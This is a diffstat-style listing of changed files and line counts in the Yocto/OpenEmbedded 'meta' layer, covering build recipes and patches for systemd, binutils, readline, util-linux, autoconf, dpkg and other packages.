-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb5
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-nfs.bb10
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-sdk.bb39
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb4
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb3
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb5
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb10
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb58
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb22
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb3
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb21
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-rust-sdk-target.bb14
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-self-hosted.bb40
-rwxr-xr-xmeta/recipes-core/psplash/files/psplash-init4
-rw-r--r--meta/recipes-core/psplash/files/psplash-poky-img.h1259
-rw-r--r--meta/recipes-core/psplash/files/psplash-poky-img.pngbin0 -> 13103 bytes
-rw-r--r--meta/recipes-core/psplash/files/psplash-poky-img.svg116
-rw-r--r--meta/recipes-core/psplash/files/psplash-start.service1
-rw-r--r--meta/recipes-core/psplash/files/psplash-systemd.service1
-rw-r--r--meta/recipes-core/psplash/psplash_git.bb42
-rw-r--r--meta/recipes-core/readline/files/rl-native.map (renamed from meta/recipes-core/readline/readline-8.0/rl-native.map)0
-rw-r--r--meta/recipes-core/readline/readline-8.0/configure-fix.patch35
-rw-r--r--meta/recipes-core/readline/readline.inc19
-rw-r--r--meta/recipes-core/readline/readline/norpath.patch (renamed from meta/recipes-core/readline/readline-8.0/norpath.patch)0
-rw-r--r--meta/recipes-core/readline/readline/readline82-001.patch45
-rw-r--r--meta/recipes-core/readline/readline/readline82-002.patch51
-rw-r--r--meta/recipes-core/readline/readline/readline82-003.patch46
-rw-r--r--meta/recipes-core/readline/readline/readline82-004.patch68
-rw-r--r--meta/recipes-core/readline/readline/readline82-005.patch53
-rw-r--r--meta/recipes-core/readline/readline/readline82-006.patch102
-rw-r--r--meta/recipes-core/readline/readline/readline82-007.patch51
-rw-r--r--meta/recipes-core/readline/readline/readline82-008.patch80
-rw-r--r--meta/recipes-core/readline/readline/readline82-009.patch76
-rw-r--r--meta/recipes-core/readline/readline/readline82-010.patch70
-rw-r--r--meta/recipes-core/readline/readline_8.0.bb7
-rw-r--r--meta/recipes-core/readline/readline_8.2.bb17
-rw-r--r--meta/recipes-core/seatd/seatd/init45
-rw-r--r--meta/recipes-core/seatd/seatd_0.8.0.bb35
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils-2.1.0/obsolete_automake_macros.patch15
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils-2.1.0/separatebuild.patch65
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils-2.1.0/sysfsutils-2.0.0-class-dup.patch23
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils_2.1.0.bb31
-rw-r--r--meta/recipes-core/sysfsutils/sysfsutils_2.1.1.bb21
-rw-r--r--meta/recipes-core/systemd/systemd-boot-native_255.4.bb15
-rw-r--r--meta/recipes-core/systemd/systemd-boot_246.bb70
-rw-r--r--meta/recipes-core/systemd/systemd-boot_255.4.bb67
-rw-r--r--meta/recipes-core/systemd/systemd-bootconf_1.00.bb6
-rw-r--r--meta/recipes-core/systemd/systemd-compat-units.bb15
-rw-r--r--meta/recipes-core/systemd/systemd-conf/wired.network4
-rw-r--r--meta/recipes-core/systemd/systemd-conf_1.0.bb46
-rw-r--r--meta/recipes-core/systemd/systemd-conf_246.bb38
-rw-r--r--meta/recipes-core/systemd/systemd-machine-units_1.0.bb8
-rw-r--r--meta/recipes-core/systemd/systemd-serialgetty.bb28
-rw-r--r--meta/recipes-core/systemd/systemd-serialgetty/serial-getty@.service2
-rw-r--r--meta/recipes-core/systemd/systemd-systemctl-native.bb1
-rwxr-xr-xmeta/recipes-core/systemd/systemd-systemctl/systemctl69
-rw-r--r--meta/recipes-core/systemd/systemd.inc9
-rw-r--r--meta/recipes-core/systemd/systemd/00-create-volatile.conf1
-rw-r--r--meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf6
-rw-r--r--meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch168
-rw-r--r--meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch81
-rw-r--r--meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch411
-rw-r--r--meta/recipes-core/systemd/systemd/0001-missing_type.h-add-comparison_fn_t.patch61
-rw-r--r--meta/recipes-core/systemd/systemd/0002-add-fallback-parse_printf_format-implementation.patch434
-rw-r--r--meta/recipes-core/systemd/systemd/0002-binfmt-Don-t-install-dependency-links-at-install-tim.patch79
-rw-r--r--meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch161
-rw-r--r--meta/recipes-core/systemd/systemd/0002-src-login-brightness.c-include-sys-wait.h.patch29
-rw-r--r--meta/recipes-core/systemd/systemd/0003-implment-systemd-sysv-install-for-OE.patch41
-rw-r--r--meta/recipes-core/systemd/systemd/0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch76
-rw-r--r--meta/recipes-core/systemd/systemd/0003-src-basic-copy.c-include-signal.h.patch31
-rw-r--r--meta/recipes-core/systemd/systemd/0003-src-basic-missing.h-check-for-missing-strndupa.patch699
-rw-r--r--meta/recipes-core/systemd/systemd/0004-add-fallback-parse_printf_format-implementation.patch431
-rw-r--r--meta/recipes-core/systemd/systemd/0004-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch156
-rw-r--r--meta/recipes-core/systemd/systemd/0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch58
-rw-r--r--meta/recipes-core/systemd/systemd/0005-add-missing-FTW_-macros-for-musl.patch44
-rw-r--r--meta/recipes-core/systemd/systemd/0005-src-basic-missing.h-check-for-missing-strndupa.patch679
-rw-r--r--meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch279
-rw-r--r--meta/recipes-core/systemd/systemd/0006-Use-uintmax_t-for-handling-rlim_t.patch106
-rw-r--r--meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch153
-rw-r--r--meta/recipes-core/systemd/systemd/0007-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch99
-rw-r--r--meta/recipes-core/systemd/systemd/0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch34
-rw-r--r--meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch45
-rw-r--r--meta/recipes-core/systemd/systemd/0008-implment-systemd-sysv-install-for-OE.patch43
-rw-r--r--meta/recipes-core/systemd/systemd/0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch41
-rw-r--r--meta/recipes-core/systemd/systemd/0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch76
-rw-r--r--meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch43
-rw-r--r--meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch95
-rw-r--r--meta/recipes-core/systemd/systemd/0011-avoid-redefinition-of-prctl_mm_map-structure.patch32
-rw-r--r--meta/recipes-core/systemd/systemd/0012-do-not-disable-buffer-in-writing-files.patch562
-rw-r--r--meta/recipes-core/systemd/systemd/0013-Handle-__cpu_mask-usage.patch60
-rw-r--r--meta/recipes-core/systemd/systemd/0014-Handle-missing-gshadow.patch173
-rw-r--r--meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch97
-rw-r--r--meta/recipes-core/systemd/systemd/0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch49
-rw-r--r--meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch32
-rw-r--r--meta/recipes-core/systemd/systemd/0016-pass-correct-parameters-to-getdents64.patch37
-rw-r--r--meta/recipes-core/systemd/systemd/0017-Adjust-for-musl-headers.patch572
-rw-r--r--meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch60
-rw-r--r--meta/recipes-core/systemd/systemd/0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch52
-rw-r--r--meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch33
-rw-r--r--meta/recipes-core/systemd/systemd/0019-errno-util-Make-STRERROR-portable-for-musl.patch42
-rw-r--r--meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch28
-rw-r--r--meta/recipes-core/systemd/systemd/0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch39
-rw-r--r--meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch23
-rw-r--r--meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch30
-rw-r--r--meta/recipes-core/systemd/systemd/0021-shared-Do-not-use-malloc_info-on-musl.patch57
-rw-r--r--meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch37
-rw-r--r--meta/recipes-core/systemd/systemd/0022-avoid-missing-LOCK_EX-declaration.patch43
-rw-r--r--meta/recipes-core/systemd/systemd/0023-Fix-field-efi_loader_entry_one_shot_stat-has-incompl.patch31
-rw-r--r--meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch31
-rw-r--r--meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf11
-rw-r--r--meta/recipes-core/systemd/systemd/systemd-pager.sh7
-rw-r--r--meta/recipes-core/systemd/systemd_246.bb718
-rw-r--r--meta/recipes-core/systemd/systemd_255.4.bb899
-rw-r--r--meta/recipes-core/sysvinit/sysvinit-inittab/start_getty45
-rw-r--r--meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb53
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/0001-hddown-include-libgen.h-for-basename-API.patch38
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/install.patch2
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch38
-rwxr-xr-xmeta/recipes-core/sysvinit/sysvinit/rc16
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/rcS-default7
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/realpath.patch2
-rw-r--r--meta/recipes-core/sysvinit/sysvinit/sysvinit_remove_linux_fs.patch17
-rw-r--r--meta/recipes-core/sysvinit/sysvinit_2.97.bb113
-rw-r--r--meta/recipes-core/sysvinit/sysvinit_3.04.bb119
-rw-r--r--meta/recipes-core/ttyrun/ttyrun_2.32.0.bb33
-rw-r--r--meta/recipes-core/udev/eudev/0014-Revert-rules-remove-firmware-loading-rules.patch28
-rw-r--r--meta/recipes-core/udev/eudev/Revert-udev-remove-userspace-firmware-loading-suppor.patch364
-rw-r--r--meta/recipes-core/udev/eudev/devfs-udev.rules108
-rw-r--r--meta/recipes-core/udev/eudev/init39
-rw-r--r--meta/recipes-core/udev/eudev/links.conf21
-rw-r--r--meta/recipes-core/udev/eudev/netifnames.patch17
-rw-r--r--meta/recipes-core/udev/eudev/permissions.rules131
-rw-r--r--meta/recipes-core/udev/eudev/run.rules14
-rw-r--r--meta/recipes-core/udev/eudev/udev.rules116
-rw-r--r--meta/recipes-core/udev/eudev_3.2.14.bb90
-rw-r--r--meta/recipes-core/udev/eudev_3.2.9.bb96
-rw-r--r--meta/recipes-core/udev/udev-extraconf/mount.ignorelist (renamed from meta/recipes-core/udev/udev-extraconf/mount.blacklist)0
-rw-r--r--meta/recipes-core/udev/udev-extraconf/mount.sh107
-rw-r--r--meta/recipes-core/udev/udev-extraconf_1.1.bb33
-rw-r--r--meta/recipes-core/update-rc.d/update-rc.d_0.8.bb6
-rw-r--r--meta/recipes-core/util-linux/util-linux-libuuid_2.39.3.bb19
-rw-r--r--meta/recipes-core/util-linux/util-linux.inc349
-rw-r--r--meta/recipes-core/util-linux/util-linux/0001-include-cleanup-pidfd-inckudes.patch42
-rw-r--r--meta/recipes-core/util-linux/util-linux/0001-login-utils-include-libgen.h-for-basename-API.patch60
-rw-r--r--meta/recipes-core/util-linux/util-linux/avoid_parallel_tests.patch27
-rw-r--r--meta/recipes-core/util-linux/util-linux/configure-sbindir.patch19
-rw-r--r--meta/recipes-core/util-linux/util-linux/display_testname_for_subtest.patch12
-rw-r--r--meta/recipes-core/util-linux/util-linux/fcntl-lock.c332
-rw-r--r--meta/recipes-core/util-linux/util-linux/mit-license.patch45
-rw-r--r--meta/recipes-core/util-linux/util-linux/ptest.patch15
-rw-r--r--meta/recipes-core/util-linux/util-linux/run-ptest34
-rw-r--r--meta/recipes-core/util-linux/util-linux_2.35.2.bb13
-rw-r--r--meta/recipes-core/util-linux/util-linux_2.39.3.bb345
-rwxr-xr-xmeta/recipes-core/volatile-binds/files/mount-copybind29
-rw-r--r--meta/recipes-core/volatile-binds/files/volatile-binds.service.in8
-rw-r--r--meta/recipes-core/volatile-binds/volatile-binds.bb33
-rw-r--r--meta/recipes-core/zlib/zlib/0001-configure-Pass-LDFLAGS-to-link-tests.patch78
-rw-r--r--meta/recipes-core/zlib/zlib/ldflags-tests.patch45
-rw-r--r--meta/recipes-core/zlib/zlib_1.2.11.bb52
-rw-r--r--meta/recipes-core/zlib/zlib_1.3.1.bb50
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Disable-documentation-directory-altogether.patch8
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Do-not-configure-packages-on-installation.patch48
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Do-not-init-tables-from-dpkg-configuration.patch4
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Fix-musl-build.patch35
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Hide-fstatat64-and-prlimit64-defines-on-musl.patch48
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Remove-using-std-binary_function.patch87
-rw-r--r--meta/recipes-devtools/apt/apt/0001-Revert-always-run-dpkg-configure-a-at-the-end-of-our.patch10
-rw-r--r--meta/recipes-devtools/apt/apt/0001-aptwebserver.cc-Include-array.patch30
-rw-r--r--meta/recipes-devtools/apt/apt/0001-cmake-Do-not-build-po-files.patch36
-rw-r--r--meta/recipes-devtools/apt/apt_1.8.2.1.bb106
-rw-r--r--meta/recipes-devtools/apt/apt_2.6.1.bb142
-rw-r--r--meta/recipes-devtools/autoconf-archive/autoconf-archive_2019.01.06.bb18
-rw-r--r--meta/recipes-devtools/autoconf-archive/autoconf-archive_2023.02.20.bb17
-rw-r--r--meta/recipes-devtools/autoconf/autoconf.inc88
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/AC_HEADER_MAJOR-port-to-glibc-2.25.patch101
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/add_musl_config.patch26
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoconf-replace-w-option-in-shebangs-with-modern-use-warnings.patch120
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoreconf-exclude.patch116
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autoreconf-gnuconfigize.patch38
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/autotest-automake-result-format.patch35
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/check-automake-cross-warning.patch34
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/config_site.patch40
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/fix_path_xtra.patch120
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/man-host-perl.patch31
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/no-man.patch36
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/performance.patch60
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/preferbash.patch37
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/program_prefix.patch35
-rw-r--r--meta/recipes-devtools/autoconf/autoconf/remove-usr-local-lib-from-m4.patch27
-rw-r--r--meta/recipes-devtools/autoconf/autoconf_2.69.bb28
-rw-r--r--meta/recipes-devtools/autoconf/autoconf_2.72e.bb83
-rw-r--r--meta/recipes-devtools/automake/automake.inc4
-rw-r--r--meta/recipes-devtools/automake/automake/0001-Drop-ar-u-argument.patch35
-rw-r--r--meta/recipes-devtools/automake/automake/0001-automake-Update-for-python.m4-to-respect-libdir.patch83
-rw-r--r--meta/recipes-devtools/automake/automake/automake-replace-w-option-in-shebangs-with-modern-use-warnings.patch60
-rw-r--r--meta/recipes-devtools/automake/automake/buildtest.patch2
-rw-r--r--meta/recipes-devtools/automake/automake/python-libdir.patch88
-rw-r--r--meta/recipes-devtools/automake/automake_1.16.2.bb44
-rw-r--r--meta/recipes-devtools/automake/automake_1.16.5.bb43
-rw-r--r--meta/recipes-devtools/binutils/binutils-2.35.inc46
-rw-r--r--meta/recipes-devtools/binutils/binutils-2.42.inc40
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-canadian.inc8
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-canadian_2.42.bb (renamed from meta/recipes-devtools/binutils/binutils-cross-canadian_2.35.bb)0
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-testsuite_2.35.bb85
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross-testsuite_2.42.bb83
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross.inc1
-rw-r--r--meta/recipes-devtools/binutils/binutils-cross_2.42.bb (renamed from meta/recipes-devtools/binutils/binutils-cross_2.35.bb)0
-rw-r--r--meta/recipes-devtools/binutils/binutils-crosssdk_2.35.bb13
-rw-r--r--meta/recipes-devtools/binutils/binutils-crosssdk_2.42.bb11
-rw-r--r--meta/recipes-devtools/binutils/binutils.inc60
-rw-r--r--meta/recipes-devtools/binutils/binutils/0001-binutils-crosssdk-Generate-relocatable-SDKs.patch35
-rw-r--r--meta/recipes-devtools/binutils/binutils/0002-binutils-cross-Do-not-generate-linker-script-directo.patch12
-rw-r--r--meta/recipes-devtools/binutils/binutils/0003-binutils-nativesdk-Search-for-alternative-ld.so.conf.patch35
-rw-r--r--meta/recipes-devtools/binutils/binutils/0004-Point-scripts-location-to-libdir.patch39
-rw-r--r--meta/recipes-devtools/binutils/binutils/0004-configure-widen-the-regexp-for-SH-architectures.patch44
-rw-r--r--meta/recipes-devtools/binutils/binutils/0005-Point-scripts-location-to-libdir.patch42
-rw-r--r--meta/recipes-devtools/binutils/binutils/0005-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch32
-rw-r--r--meta/recipes-devtools/binutils/binutils/0006-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch41
-rw-r--r--meta/recipes-devtools/binutils/binutils/0006-warn-for-uses-of-system-directories-when-cross-linki.patch287
-rw-r--r--meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch35
-rw-r--r--meta/recipes-devtools/binutils/binutils/0007-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch37
-rw-r--r--meta/recipes-devtools/binutils/binutils/0008-Use-libtool-2.4.patch34406
-rw-r--r--meta/recipes-devtools/binutils/binutils/0008-warn-for-uses-of-system-directories-when-cross-linki.patch287
-rw-r--r--meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch60
-rw-r--r--meta/recipes-devtools/binutils/binutils/0009-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch49
-rw-r--r--meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch409
-rw-r--r--meta/recipes-devtools/binutils/binutils/0010-sync-with-OE-libtool-changes.patch86
-rw-r--r--meta/recipes-devtools/binutils/binutils/0011-Check-for-clang-before-checking-gcc-version.patch45
-rw-r--r--meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch37
-rw-r--r--meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch50
-rw-r--r--meta/recipes-devtools/binutils/binutils/0012-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch38
-rw-r--r--meta/recipes-devtools/binutils/binutils/0013-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch48
-rw-r--r--meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch23153
-rw-r--r--meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch52
-rw-r--r--meta/recipes-devtools/binutils/binutils/0014-Remove-duplicate-pe-dll.o-entry-deom-targ_extra_ofil.patch32
-rw-r--r--meta/recipes-devtools/binutils/binutils/0015-gprofng-change-use-of-bignum-to-bigint.patch17
-rw-r--r--meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch89
-rw-r--r--meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch48
-rw-r--r--meta/recipes-devtools/binutils/binutils/0017-Do-not-emit-R_RISCV_NONE-reloc-in-the-extra-unused-r.patch42
-rw-r--r--meta/recipes-devtools/binutils/binutils_2.35.bb65
-rw-r--r--meta/recipes-devtools/binutils/binutils_2.42.bb76
-rw-r--r--meta/recipes-devtools/bison/bison/0001-bison-fix-the-parallel-build.patch63
-rw-r--r--meta/recipes-devtools/bison/bison/autoconf-2.73.patch24
-rw-r--r--meta/recipes-devtools/bison/bison_3.6.4.bb44
-rw-r--r--meta/recipes-devtools/bison/bison_3.8.2.bb55
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-Do-not-include-linux-fs.h.patch31
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-bootchart2-support-usrmerge.patch37
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2/0001-bootchartd.in-make-sure-only-one-bootchartd-process.patch68
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2_0.14.8.bb161
-rw-r--r--meta/recipes-devtools/bootchart2/bootchart2_0.14.9.bb162
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools/0001-Add-a-possibility-to-specify-where-python-modules-ar.patch6
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools_5.7.bb52
-rw-r--r--meta/recipes-devtools/btrfs-tools/btrfs-tools_6.8.bb72
-rw-r--r--meta/recipes-devtools/build-compare/build-compare_git.bb29
-rw-r--r--meta/recipes-devtools/ccache/ccache_3.7.11.bb32
-rw-r--r--meta/recipes-devtools/ccache/ccache_4.9.1.bb26
-rw-r--r--meta/recipes-devtools/ccache/files/0001-xxhash.h-Fix-build-with-gcc-12.patch37
-rw-r--r--meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb12
-rw-r--r--meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul65
-rw-r--r--meta/recipes-devtools/chrpath/chrpath_0.16.bb9
-rw-r--r--meta/recipes-devtools/cmake/cmake-native_3.17.3.bb53
-rw-r--r--meta/recipes-devtools/cmake/cmake-native_3.28.3.bb67
-rw-r--r--meta/recipes-devtools/cmake/cmake.inc11
-rw-r--r--meta/recipes-devtools/cmake/cmake/0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch44
-rw-r--r--meta/recipes-devtools/cmake/cmake/0001-CMakeLists.txt-disable-USE_NGHTTP2.patch35
-rw-r--r--meta/recipes-devtools/cmake/cmake/0002-cmake-Prevent-the-detection-of-Qt5.patch122
-rw-r--r--meta/recipes-devtools/cmake/cmake/0003-cmake-support-OpenEmbedded-Qt4-tool-binary-names.patch56
-rw-r--r--meta/recipes-devtools/cmake/cmake/0004-Fail-silently-if-system-Qt-installation-is-broken.patch79
-rw-r--r--meta/recipes-devtools/cmake/cmake/0005-Disable-use-of-ext2fs-ext2_fs.h-by-cmake-s-internal-.patch15
-rw-r--r--meta/recipes-devtools/cmake/cmake/OEToolchainConfig.cmake10
-rw-r--r--meta/recipes-devtools/cmake/cmake/SDKToolchainConfig.cmake.template31
-rwxr-xr-xmeta/recipes-devtools/cmake/cmake/cmake-setup.py33
-rw-r--r--meta/recipes-devtools/cmake/cmake/environment.d-cmake.sh2
-rw-r--r--meta/recipes-devtools/cmake/cmake_3.17.3.bb53
-rw-r--r--meta/recipes-devtools/cmake/cmake_3.28.3.bb68
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch17
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c/0001-include-rpm-rpmstring.h.patch30
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c_0.16.0.bb34
-rw-r--r--meta/recipes-devtools/createrepo-c/createrepo-c_1.1.0.bb41
-rw-r--r--meta/recipes-devtools/debugedit/debugedit_5.0.bb28
-rw-r--r--meta/recipes-devtools/debugedit/files/0002-sepdebugcrcfix.c-do-not-use-64bit-variants.patch56
-rw-r--r--meta/recipes-devtools/debugedit/files/0003-Makefile.am-do-not-update-manual.patch65
-rw-r--r--meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb17
-rw-r--r--meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb18
-rw-r--r--meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb24
-rw-r--r--meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.27.bb21
-rw-r--r--meta/recipes-devtools/devel-config/distcc-config.bb3
-rw-r--r--meta/recipes-devtools/devel-config/nfs-export-root.bb3
-rw-r--r--meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch24
-rw-r--r--meta/recipes-devtools/diffstat/diffstat/avoid-check-user-break-cc.patch6
-rw-r--r--meta/recipes-devtools/diffstat/diffstat_1.63.bb29
-rw-r--r--meta/recipes-devtools/diffstat/diffstat_1.66.bb27
-rw-r--r--meta/recipes-devtools/distcc/distcc_3.3.3.bb88
-rw-r--r--meta/recipes-devtools/distcc/distcc_3.4.bb88
-rw-r--r--meta/recipes-devtools/distcc/files/0001-Fix-build-with-gcc-10-which-defaults-to-fno-common-c.patch34
-rw-r--r--meta/recipes-devtools/distcc/files/fix-gnome.patch122
-rw-r--r--meta/recipes-devtools/distcc/files/separatebuilddir.patch33
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode/0001-Committing-changes-from-do_unpack_extra.patch24
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode_3.2.bb24
-rw-r--r--meta/recipes-devtools/dmidecode/dmidecode_3.5.bb21
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-Corretly-install-tmpfiles.d-configuration.patch8
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-Do-not-hardcode-etc-and-systemd-unit-directories.patch5
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-dnf-write-the-log-lock-to-root.patch6
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-lock.py-fix-Exception-handling.patch62
-rw-r--r--meta/recipes-devtools/dnf/dnf/0001-set-python-path-for-completion_helper.patch7
-rw-r--r--meta/recipes-devtools/dnf/dnf/0005-Do-not-prepend-installroot-to-logdir.patch11
-rw-r--r--meta/recipes-devtools/dnf/dnf/0029-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch9
-rw-r--r--meta/recipes-devtools/dnf/dnf/0030-Run-python-scripts-using-env.patch12
-rw-r--r--meta/recipes-devtools/dnf/dnf_4.19.2.bb97
-rw-r--r--meta/recipes-devtools/dnf/dnf_4.2.23.bb90
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xml-dtd4/docbook-xml-update-catalog.xml.patch91
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xml-dtd4_4.5.bb62
-rw-r--r--meta/recipes-devtools/docbook-xml/docbook-xsl-stylesheets_1.79.1.bb6
-rw-r--r--meta/recipes-devtools/dosfstools/dosfstools_4.1.bb28
-rw-r--r--meta/recipes-devtools/dosfstools/dosfstools_4.2.bb26
-rw-r--r--meta/recipes-devtools/dpkg/dpkg.inc55
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch13
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch19
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch17
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch15
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch31
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch20
-rw-r--r--meta/recipes-devtools/dpkg/dpkg/0006-add-musleabi-to-known-target-tripets.patch18
